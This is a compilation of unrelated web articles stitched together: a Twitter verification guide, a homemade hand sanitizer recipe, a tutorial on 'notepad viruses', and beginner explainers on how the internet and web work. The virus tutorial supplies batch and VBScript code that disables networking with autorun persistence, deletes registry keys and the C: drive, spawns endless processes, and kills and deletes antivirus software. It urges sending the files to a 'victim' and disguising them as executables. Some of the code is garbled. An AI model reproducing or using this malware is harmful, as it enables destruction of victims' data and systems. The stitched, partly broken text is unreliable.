How to Get Verified on Twitter

10 min read

Have you ever felt like a celebrity on social media?

I’ve had a moment or two when someone I really like or admire reshares a post of mine, or when people from across the world happen to come across my content and like or follow.

Social media has that unique ability to take non-celebs like me and thrust us into the spotlight every now and then.

Well, now Twitter’s gone one step further. You can apply to be Twitter verified and receive a blue checkmark badge next to your name. To become verified on Twitter, you simply update your profile with current information, verify a phone number and email address, then fill out a form requesting consideration as a verified user.

It does provide a bit of an ego boost and celebrity moment to see the blue badge, but here’s the real kicker: There are significant business/brand advantages to being Twitter verified.

I’d love to show you how you can get your business or brand verified on Twitter and the great things that might mean!

How to Get Verified on Twitter, Step-by-Step

1. Fill out your profile completely with profile picture, cover photo, name, website, and bio
2. Add a verified phone number and confirm your email address
3. Add your birthday
4. Set your tweets as “public”
5. Visit the verification form on Twitter

(Note: If you’re applying for verification of a personal profile as opposed to a business profile, you’ll also need a copy of a photo ID like a passport or driver’s license.)

In Twitter’s announcement about verified accounts, they listed a few particular elements that might be a factor in which accounts they choose to verify and which they don’t. The biggest factor in getting verified on Twitter is that the profile is of public interest.

To explain a bit further, Twitter mentions that “public interest” might include public figures and organizations in the fields of:

• Music
• TV
• Film
• Fashion
• Government
• Politics
• Religion
• Journalism
• Media
• Sports
• Business
• and other key interest areas

So long as you meet the minimum guidelines with your profile (things like having a profile photo and a verified phone number, etc.), the verification process seems to be a bit subjective in ultimately deciding what is of “public interest.”

If you go through the process once and don’t get verified, no worries. You can try again in 30 days.

In terms of the minimum guidelines, here’s a bit more about how to complete each one successfully.

Verify your phone number on Twitter.

You can add a phone number to your account here; to verify the number, enter the verification code that Twitter sends to your email. This is what it looks like if your phone number is verified:

Confirm your email address.

You can add your email address here; to confirm the email, click the link that Twitter sends to your email address. This is what it looks like if your email address is confirmed:

Add a bio, profile photo, cover photo, birthday, and website.

To add or edit this information, visit your profile on Twitter (in my case, twitter.com/kevanlee). If you’re logged in, you should see an “Edit Profile” button to the right of your Twitter stats.

Clicking the edit button will make the various aspects of your profile editable. You can click to change your cover photo and your profile photo. You can edit the text areas directly from this screen.

In editing this information, Twitter recommends that your profile name is the real name of the person or the organization, that the profile photo and cover photo accurately represent what you’re about, and that the bio mentions an area of expertise or company mission.

Here’s a pro tip for adding a birthday: When you’re entering the birthday information on the web, click the lock icon to choose who can see your birthday on your profile.

Set your tweets to “public.”

Visit this page in your Twitter security and privacy settings, and make sure the checkbox for “Tweet privacy” is unchecked.

—

As you’re going through the verification process, Twitter will ask that you be logged in to the account you wish to verify. There will also be a paragraph section toward the end where you get to tell Twitter why you should be verified (this was the most time-intensive part of the process for me). You can share links to support your claim, too, so this might be something you want to think about or plan ahead.

Here’s what the form asks for specifically:

—

10 Ways to Maximize Your Chances at Getting Verified on Twitter

I was very fortunate to get the favor of the Twitter verified team on my first attempt. I’m still not sure I fully deserve it! However, I was glad to see that a bunch of the pre-work I did to ensure my profile was looking its best seems to have paid off.

There is no way to know for sure what factors go into the decision to verify a user or not. These are some of the things that I tried for myself and feel might be useful if you’re thinking of giving it a go.

1. Make sure your Twitter profile has been active, consistently, for the past two weeks.

There’s this cryptic bit of advice from Twitter: “Before you apply, take a look at your account to make sure it’s ready.”

What does “ready” mean exactly?

It’s hard to tell, but one possibility might be that a “ready” profile means an active profile.

When I first heard that Twitter was allowing users to request the verified badge, I wanted to do it right away. The only snag: I realized I was in a bit of a Twitter lull and hadn’t posted for a couple weeks. So did a bit of work:

1. I hopped into Buffer and filled up the Buffer queue for my Twitter account for the next 30 days.
2. I also made sure that I was actively engaged with my @-mentions and direct messages in the days immediately before and after I submitted the verified form.

I’m not sure to what degree it actually helped. These things tend to matter when we check out Twitter profiles for potential Buffer hires, so my sense is that the Twitter verified team would notice the same!

2. Link to other verified Twitter accounts in your bio.

This one seems to give a bit of social proof to one’s chances of being verified. Within your Twitter bio, you can @-mention any other profile on Twitter. Bonus: It’s a good practice for writing a great Twitter bio that helps you gain more followers.

If you’re an individual, you can add your current employer, past employers, or connections you have with other members of the Twitter community (“husband to @mywife” or “building a product with @partner”).

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If you’re a company, you can mention parent companies or VCs that have funded you.

I was lucky to be able to @-mention Buffer in my bio.

3. For organizations, add numbers and specifics to your Twitter bio.

4. For individuals, use the biggest job title you can in your bio.

Similar to the above tip for organizations, this one requires that you sell yourself a little. Before I reached out to Twitter, I had my profile listed as “Content @buffer.” I changed it to “Director of marketing @buffer.” Here are a few other semantic changes that might spark some ideas for you:

• Content marketer = Published at @TNW and @Lifehacker
• I run a blog = Founder of @ProBlogger

And here are some tips that Neil Patel shared on the Buffer blog:

• If you started a company, welcome to the ranks of  the “entrepreneur.”
• If you helped a company, you are a “problem solver.”
• If you run sometimes, maybe you can be a “fitness guru.”
• If you give to charity, perhaps you’re a “philanthropist.”

5. For people profiles, add a cover photo that shows you doing something important.

For a long time, I had used an inspiring quote as my cover photo. It looked pretty nice, I thought (thanks to Canva). But it wasn’t quite as powerful or descriptive of a person of “public interest.”

Fortunately, I had the chance to speak at Unbounce’s CTA Conference a few months before, so I added a picture from when I was speaking on stage. John Bonini of Litmus does it really well here, too:

6. In your “why I should be verified” paragraph, write your pitch with empathy for the Twitter community.

One of the quotes I love from Dale Carnegie’s How to Win Friends and Influence People is this one:

You can make more friends in two months by being interested in them, than in two years by making them interested in you.

It’s spot-on advice for filling out the Twitter verification form and writing the paragraph about why you should be verified. Show an interest in how your being verified can help the Twitter community. Does it help your audience find you easier? Are you often confused with others and are keen to help improve that experience? Are you a business who wants to provide great, fast, trusted support to your Twitter audience?

I took a Dale Carnegie approach with my paragraph for Twitter verification, mentioning how I’d love to be able to connect easier with the people who follow the Buffer blog and the other places where our content is syndicated. I’m not sure how much this approach weighted things for the Twitter team, but it felt like a good step!

7. Be exact with the location in your bio

I’ve seen a lot of clever, original ways that people have used their location field in the Twitter bio. At Buffer, since we’re a fully remote team, we list our location as “Worldwide.”

Other people have chosen a humorous path. My all-time favorite is “Location: Spaceship earth.” ? ?

It’s very possible that the location field doesn’t matter much. I didn’t want to take any chances.

My location was listed as “Idaho,” which I always thought was specific enough since not too many people know specific cities within my sparsely populated state. However, just to play it safe, I went ahead and added the city: Boise, Idaho.

8. Choose a variety of links to submit

Submitting the Twitter verification form reminded me a bit of applying for a job. I wanted to give people the best, broadest sense of how I could be a fit. As a writer, this often means submitting links from a variety of sources where you’ve been published. For Twitter, I went one step further and added conference speaking engagements (both ones from the past and from the future).

Generally-speaking, share as many positive mentions of you or your business, from as many big sources as possible. This could be:

• Bylines from major websites or publications
• Author pages at major websites or publications
• Press you received from major publications
• Awards
• Speaking engagements
• Company profiles

9. You must submit at least two links. Be sure you submit the maximum five links.

Though Twitter lets you submit only two links, you definitely want to maximize this by filling in links for all five spots. Be creative (see the list above).

10. View the list of recently verified users for inspiration

This is one that I wished I had found earlier. The Twitter account @verified follows all the verified accounts on the network. If you click over to their “following” tab, you can see a list of everyone who has recently been verified. The full list is over 215,000 people and companies.

You can scroll this list for ideas and inspiration for what might be worth trying to get verified.

One thing you’re likely to notice: There’s a lot of variety! It seems there might not be any one right way to get verified. My best advice would be to find people or organizations that might be similar to you and take some learnings from the way they pitch themselves.

Another thing you might notice: You don’t have to have thousands of followers to get verified. There are many, many verified profiles with 2,000 or less followers. Don’t let follower count stop you from applying for verification!

Why It’s Important to be Twitter Verified

There are likely to be a lot of obvious benefits to having a verified status on Twitter.

1. You might get more followers
2. You’re bound to gain trust and respect from the community
3. You have one more data point on your being an influencer/authority

There are some immediate platform benefits, too. You can opt out of group DMs, and (this one’s quite cool) you can filter your notifications to include only notifications from other verified users.

It’s this last point that might be the most important.

By being verified, you will always have a closer connection to other verified users. Your likes, replies, and retweets of other verified users can never be hidden.

And to look ahead into the future, this may be an area that Twitter moves toward for everyone. The “Verified” filter is only available to other verified users now, but it’s possible that this could be rolled out to all Twitter users in some form, perhaps even as a filter in the main Twitter stream.

Being verified ensures that your content and your interactions always remain visible for the maximum number of Twitter users possible.

It’s a bit early to tell for sure where Twitter may head, though it never helps to get ahead of the curve if you can. Just in case. 🙂

Over to you

Does Twitter verification sound like something you might give a try?

If you’ve already tried it out, what was your experience? Any tips to share? Any questions to ask?

I’d love to hear from you in the comments and keep the conversation going there!

How to Make Your Own Hand Sanitizer

When it comes to preventing the spread of infectious diseases like COVID-19, nothing beats good old-fashioned handwashing.

But if water and soap aren’t available, your next best option, according to the Centers for Disease Control and Prevention (CDC)Trusted Source, is to use an alcohol-based hand sanitizer that contains at least 60 percent alcohol.

Unless you have a stockpile of store-bought hand sanitizer, you’ll likely have a hard time finding any at a store or online right now. Due to the rapid spread of the new coronavirus, most retailers can’t keep up with the demand for hand sanitizer.

The good news? All it takes is three ingredients to make your own hand sanitizer at home. Read on to find out how.

A word of warning

Hand sanitizer recipes, including the one below, are intended for use by professionals with the necessary expertise and resources for safe creation and proper utilization.

Only use homemade hand sanitizers in extreme situations when handwashing isn’t available for the foreseeable future.

Don’t use homemade hand sanitizers on children’s skin as they may be more prone to use them improperly, leading to a greater risk of injury.

What ingredients do you need?

Making your own hand sanitizer is easy to do and only requires a few ingredients:

• isopropyl or rubbing alcohol (99 percent alcohol volume)
• aloe vera gel
• an essential oil, such as tea tree oil or lavender oil, or you can use lemon juice instead

The key to making an effective, germ-busting hand sanitizer is to stick to a 2:1 proportion of alcohol to aloe vera. This keeps the alcohol content around 60 percent. This is the minimum amount needed to kill most germs, according to the CDCTrusted Source.

How do you make your own hand sanitizer?

Jagdish Khubchandani, PhD, associate professor of health science at Ball State University, shared this hand sanitizing formula.

His hand sanitizer formula combines:

• 2 parts isopropyl alcohol or ethanol (91–99 percent alcohol)
• 1 part aloe vera gel
• a few drops of clove, eucalyptus, peppermint, or other essential oil

If you’re making hand sanitizer at home, Khubchandani says to adhere to these tips:

• Make the hand sanitizer in a clean space. Wipe down countertops with a diluted bleach solution beforehand.
• Wash your hands thoroughly before making the hand sanitizer.
• To mix, use a clean spoon and whisk. Wash these items thoroughly before using them.
• Make sure the alcohol used for the hand sanitizer is not diluted.
• Mix all the ingredients thoroughly until they’re well blended.
• Don’t touch the mixture with your hands until it’s ready for use.

For a larger batch of hand sanitizer, the World Health Organization (WHO)Trusted Source has a formula for a hand sanitizer that uses:

• isopropyl alcohol or ethanol
• hydrogen peroxide
• glycerol
• sterile distilled or boiled cold water

Is it safe?

DIY hand sanitizer recipes are all over the internet these days — but are they safe?

These recipes, including the ones above, are intended for use by professionals with both the expertise and resources to safely make homemade hand sanitizers.

Homemade hand sanitizer is only recommended in extreme situations when you’re unable to wash your hands for the foreseeable future.

Improper ingredients or proportions can lead to:

• lack of efficacy, meaning that the sanitizer may not effectively eliminate risk of exposure to some or all microbes
• skin irritation, injury, or burns
• exposure to hazardous chemicals via inhalation

Homemade hand sanitizer is also not recommended for children. Children may be more prone to improper hand sanitizer usage, which could lead to greater risk of injury.

How to use hand sanitizer

Two things to be aware of when using hand sanitizer:

• You need to rub it into your skin until your hands are dry.
• If your hands are greasy or dirty, you should wash them first with soap and water.

With that in mind, here are some tips for using hand sanitizer effectively.

1. Spray or apply the sanitizer to the palm of one hand.
2. Thoroughly rub your hands together. Make sure you cover the entire surface of your hands and all your fingers.
3. Continue rubbing for 30 to 60 seconds or until your hands are dry. It can take at least 60 seconds, and sometimes longer, for hand sanitizer to kill most germs.

What germs can hand sanitizer kill?

According to the CDCTrusted Source, an alcohol-based hand sanitizer that meets the alcohol volume requirement can quickly reduce the number of microbes on your hands.

It can also help destroy a wide range of disease-causing agents or pathogens on your hands, including the new coronavirus, SARS-CoV-2.

However, even the best alcohol-based hand sanitizers have limitations and don’t eliminate all types of germs.

According to the CDC, hand sanitizers won’t get rid of potentially harmful chemicals. It’s also not effective at killing the following germs:

• Cryptosporidium, which causes cryptosporidiosis
• Clostridium difficile, also known as C. diff

Also, a hand sanitizer may not work well if your hands are visibly dirty or greasy. This may happen after working with food, doing yard work, gardening, or playing a sport.

If your hands look dirty or slimy, opt for handwashing instead of a hand sanitizer.

Handwashing vs. hand sanitizer

Knowing when it’s best to wash your hands, and when hand sanitizers can be helpful, is key to protecting yourself from the new coronavirus as well as other illnesses, like the common cold and seasonal flu.

While both serve a purpose, washing your hands with soap and water should always be a priority, according to the CDC. Only use hand sanitizer if soap and water isn’t available in a given situation.

It’s also important to always wash your hands:

• after going to the bathroom
• after blowing your nose, coughing, or sneezing
• before eating
• after touching surfaces that could be contaminated

The CDC lists specific instructionsTrusted Source on the most effective way to wash your hands. They recommend the following steps:

1. Always use clean, running water. (It can be warm or cold.)
2. Wet your hands first, then turn the water off, and lather your hands with soap.
3. Rub your hands together with the soap for at least 20 seconds. Make sure to scrub the back of your hands, between your fingers and under your nails.
4. Turn the water on and rinse your hands. Use a clean towel or air dry.

The bottom line

Hand sanitizer is a handy on-the-go way to help prevent the spread of germs when soap and water isn’t available. Alcohol-based hand sanitizers can help keep you safe and reduce the spread of the new coronavirus.

If you’re having a hard time finding hand sanitizer at your local stores and handwashing isn’t available, you can take steps to make your own. You only need a few ingredients, such as rubbing alcohol, aloe vera gel, and an essential oil or lemon juice.

Although hand sanitizers can be an effective way of getting rid of germs, health authorities still recommend handwashing whenever possible to keep your hands free of disease-causing viruses and other germs.

How to make Dangerous Virius in Notepad

Write a dangerous virus in Notepad/Text Editor

Are you ready to create your first DIY Notepad virus, Let’s get started to rock,
First of all, you need a Windows PC, obviously.  😉
For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.

Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.

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Copy (Ctrl+C) and Paste (Ctrl+V) the source code

Note: I am not responsible for any damage or error reporting on Your PC, do it at your own risk.
Warning: Do not try this on your daily working PC.
Have you read my previous posts, it will be great to take a look at;

• How To increase internet speed via Command Prompt Tricks
• Best Apps To Hack In-App Purchase in ANDROID

Notepad Virus source codes are Given below:

1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI 
/t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit 
/t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF
 START reg delete HKCR/.exe
 START reg delete HKCR/.dll
 START reg delete HKCR/*
 :MESSAGE
 ECHO Your PC has been crashed.Your Dad.
 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.
You can also add the application of your choice in the above code.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off
:xnet
user %random% /add
goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off
Del C:\ *.* |y

10+. Anti Virus Disabler

This large code will disable any antivirus installed on the system

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@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem

After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“(without quotes as shown in the image).

Save the file in ALL FILES mode with ‘.bat’ extension

DONE: You have successfully created a Notepad Virus. That’s it, now you’re done doing your work now just you have to send the file to the victim.

Done creating a batch file

There’s a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found it harmful. So, to overcome this limitation/drawback, you can use a tool named ‘Batch to Executable Converter’. It will convert the ‘.bat‘ extension into ‘.exe‘ extension. Hence, your Batch file will be converted into a Windows Application. This will helps in convincing your victim to open the file.

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Bat2Exe

Download BatToExe to Easily convert batch files to executables by clicking here
NOTE: This Tutorial is for windows based computer only, these viruses do not work on Linux or MAC.

Wrapping It Up

So, Friends hope you liked the post on how to create a notepad virus using batch scripting, I made this tutorial much more descriptive, try to create these virus yourself, in case you encounter any problem and need help feel free to comment, I am always here for your help and don’t forget to share this post with your friends if you found it helpful and enjoyable, also for supporting me to come up with more stuff in the near future.

How internet works , Learn everything about internet

Summary

The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together.

The history of the Internet is somewhat obscure. It began in the 1960s as a US-army-funded research project, then evolved into a public infrastructure in the 1980s with the support of many public universities and private companies. The various technologies that support the Internet have evolved over time, but the way it works hasn't changed that much: Internet is a way to connect computers all together and ensure that, whatever happens, they find a way to stay connected.

A simple network

When two computers need to communicate, you have to link them, either physically (usually with an Ethernet cable) or wirelessly (for example with WiFi or Bluetooth systems). All modern computers can sustain any of those connections.

Note: For the rest of this article, we will only talk about physical cables, but wireless networks work the same.

Such a network is not limited to two computers. You can connect as many computers as you wish. But it gets complicated quickly. If you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer!

To solve this problem, each computer on a network is connected to a special tiny computer called a router. This router has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. To send a message to computer B, computer A must send the message to the router, which in turn forwards the message to computer B and makes sure the message is not delivered to computer C.

Once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs.

A network of networks

So far so good. But what about connecting hundreds, thousands, billions of computers? Of course a single router can't scale that far, but, if you read carefully, we said that a router is a computer like any other, so what keeps us from connecting two routers together? Nothing, so let's do that.

By connecting computers to routers, then routers to routers, we are able to scale infinitely.

Such a network comes very close to what we call the Internet, but we're missing something. We built that network for our own purposes. There are other networks out there: your friends, your neighbors, anyone can have their own network of computers. But it's not really possible to set cables up between your house and the rest of the world, so how can you handle this? Well, there are already cables linked to your house, for example, electric power and telephone. The telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. To connect our network to the telephone infrastructure, we need a special piece of equipment called a modem. This modem turns the information from our network into information manageable by the telephone infrastructure and vice versa.

So we are connected to the telephone infrastructure. The next step is to send the messages from our network to the network we want to reach. To do that, we will connect our network to an Internet Service Provider (ISP). An ISP is a company that manages some special routers that are all linked together and can also access other ISPs' routers. So the message from our network is carried through the network of ISP networks to the destination network. The Internet consists of this whole infrastructure of networks.

Finding computers

If you want to send a message to a computer, you have to specify which one. Thus any computer linked to a network has a unique address that identifies it, called an "IP address" (where IP stands for Internet Protocol). It's an address made of a series of four numbers separated by dots, for example: 192.168.2.10.

That's perfectly fine for computers, but we human beings have a hard time remembering that sort of address. To make things easier, we can alias an IP address with a human readable name called a domain name. For example (at the time of writing; IP addresses can change) google.com is the domain name used on top of the IP address 173.194.121.32. So using the domain name is the easiest way for us to reach a computer over the Internet.

Internet and the web

As you might notice, when we browse the Web with a Web browser, we usually use the domain name to reach a website. Does that mean the Internet and the Web are the same thing? It's not that simple. As we saw, the Internet is a technical infrastructure which allows billions of computers to be connected all together. Among those computers, some computers (called Web servers) can send messages intelligible to web browsers. The Internet is an infrastructure, whereas the Web is a service built on top of the infrastructure. It is worth noting there are several other services built on top of the Internet, such as email and IRC.

 

How the web works provides a simplified view of what happens when you view a webpage in a web browser on your computer or phone.

This theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the background.

Clients and servers

Computers connected to the web are called clients and servers. A simplified diagram of how they interact might look like this:

• Clients are the typical web user's internet-connected devices (for example, your computer connected to your Wi-Fi, or your phone connected to your mobile network) and web-accessing software available on those devices (usually a web browser like Firefox or Chrome).
• Servers are computers that store webpages, sites, or apps. When a client device wants to access a webpage, a copy of the webpage is downloaded from the server onto the client machine to be displayed in the user's web browser.

The other parts of the toolbox

The client and server we've described above don't tell the whole story. There are many other parts involved, and we'll describe them below.

For now, let's imagine that the web is a road. On one end of the road is the client, which is like your house. On the other end of the road is the server, which is a shop you want to buy something from.

In addition to the client and the server, we also need to say hello to:

• Your internet connection: Allows you to send and receive data on the web. It's basically like the street between your house and the shop.
• TCP/IP: Transmission Control Protocol and Internet Protocol are communication protocols that define how data should travel across the web. This is like the transport mechanisms that let you place an order, go to the shop, and buy your goods. In our example, this is like a car or a bike (or however else you might get around).
• DNS: Domain Name Servers are like an address book for websites. When you type a web address in your browser, the browser looks at the DNS to find the website's real address before it can retrieve the website. The browser needs to find out which server the website lives on, so it can send HTTP messages to the right place (see below). This is like looking up the address of the shop so you can access it.
• HTTP: Hypertext Transfer Protocol is an application protocol that defines a language for clients and servers to speak to each other. This is like the language you use to order your goods.
• Component files: A website is made up of many different files, which are like the different parts of the goods you buy from the shop. These files come in two main types:
  • Code files: Websites are built primarily from HTML, CSS, and JavaScript, though you'll meet other technologies a bit later.
  • Assets: This is a collective name for all the other stuff that makes up a website, such as images, music, video, Word documents, and PDFs.

So what happens, exactly?

When you type a web address into your browser (for our analogy that's like walking to the shop):

1. The browser goes to the DNS server, and finds the real address of the server that the website lives on (you find the address of the shop).
2. The browser sends an HTTP request message to the server, asking it to send a copy of the website to the client (you go to the shop and order your goods). This message, and all other data sent between the client and the server, is sent across your internet connection using TCP/IP.
3. If the server approves the client's request, the server sends the client a "200 OK" message, which means "Of course you can look at that website! Here it is", and then starts sending the website's files to the browser as a series of small chunks called data packets (the shop gives you your goods, and you bring them back to your house).
4. The browser assembles the small chunks into a complete website and displays it to you (the goods arrive at your door — new shiny stuff, awesome!).

DNS explained

Real web addresses aren't the nice, memorable strings you type into your address bar to find your favorite websites. They are special numbers that look like this: 63.245.215.20.

This is called an IP address, and it represents a unique location on the web. However, it's not very easy to remember, is it? That's why Domain Name Servers were invented. These are special servers that match up a web address you type into your browser (like "mozilla.org") to the website's real (IP) address.

Websites can be reached directly via their IP addresses. You can find the IP address of a website by typing its domain into a tool like IP Checker.

Packets explained

Earlier we used the term "packets" to describe the format in which the data is sent from server to client. What do we mean here? Basically, when data is sent across the web, it is sent as thousands of small chunks, so that many different web users can download the same website at the same time. If websites were sent as single big chunks, only one user could download one at a time, which obviously would make the web very inefficient and not much fun to use.

Summary

As with any area of knowledge, the web comes with a lot of jargon. Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. It's easy to confuse these terms sometimes since they refer to related but different functionalities. In fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!

We'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you:

web page

A document which can be displayed in a web browser such as Firefox, Google Chrome, Opera, Microsoft Internet Explorer or Edge, or Apple's Safari. These are also often called just "pages."

website

A collection of web pages which are grouped together and usually connected together in various ways. Often called a "web site" or simply a "site."

web server

A computer that hosts a website on the Internet.

search engine

A web service that helps you find other web pages, such as Google, Bing, Yahoo, or DuckDuckGo. Search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of Firefox, Chrome, etc.) or through a web page (e.g. bing.com or duckduckgo.com).

Let's look at a simple analogy — a public library. This is what you would generally do when visiting a library:

1. Find a search index and look for the title of the book you want.
2. Make a note of the catalog number of the book.
3. Go to the particular section containing the book, find the right catalog number, and get the book.

Let's compare the library with a web server:

• The library is like a web server. It has several sections, which is similar to a web server hosting multiple websites.
• The different sections (science, math, history, etc.) in the library are like websites. Each section is like a unique website (two sections do not contain same books).
• The books in each section are like webpages. One website may have several webpages, e.g., the Science section (the website) will have books on heat, sound, thermodynamics, statics, etc. (the webpages). Webpages can each be found at a unique location (URL).
• The search index is like the search engine. Each book has its own unique location in the library (two books cannot be kept at the same place) which is specified by the catalog number.

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Deeper dive

So, let's dig deeper into how those four terms are related and why they are sometimes confused with each other.

Web page

A web page is a simple document displayable by a browser. Such documents are written in the HTML language (which we look into in more detail in other articles). A web page can embed a variety of different types of resources such as:

• style information — controlling a page's look-and-feel
• scripts — which add interactivity to the page
• media — images, sounds, and videos.

Note: Browsers can also display other documents such as PDF files or images, but the term web page specifically refers to HTML documents. Otherwise, we only use the term document.

All web pages available on the web are reachable through a unique address. To access a page, just type its address in your browser address bar:

Web site

A website is a collection of linked web pages (plus their associated resources) that share a unique domain name. Each web page of a given website provides explicit links—most of the time in the form of clickable portion of text—that allow the user to move from one page of the website to another.

To access a website, type its domain name in your browser address bar, and the browser will display the website's main web page, or homepage (casually referred as "the home"):

The ideas of a web page and a website are especially easy to confuse for a website that contains only one web page. Such a website is sometimes called a single-page website.

Web server

A web server is a computer hosting one or more websites. "Hosting" means that all the web pages and their supporting files are available on that computer. The web server will send any web page from the website it is hosting to any user's browser, per user request.

Don't confuse websites and web servers. For example, if you hear someone say, "My website is not responding", it actually means that the web server is not responding and therefore the website is not available. More importantly, since a web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. In our previous example, if we said, "My web server is not responding", it means that multiple websites on that web server are not available.

Search engine

Search engines are a common source of confusion on the web. A search engine is a special kind of website that helps users find web pages from other websites.

There are plenty out there: Google, Bing, Yandex, DuckDuckGo, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer.

Many beginners on the web confuse search engines and browsers. Let's make it clear: A browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.

Here is an instance of Firefox showing a Google search box as its default startup page:

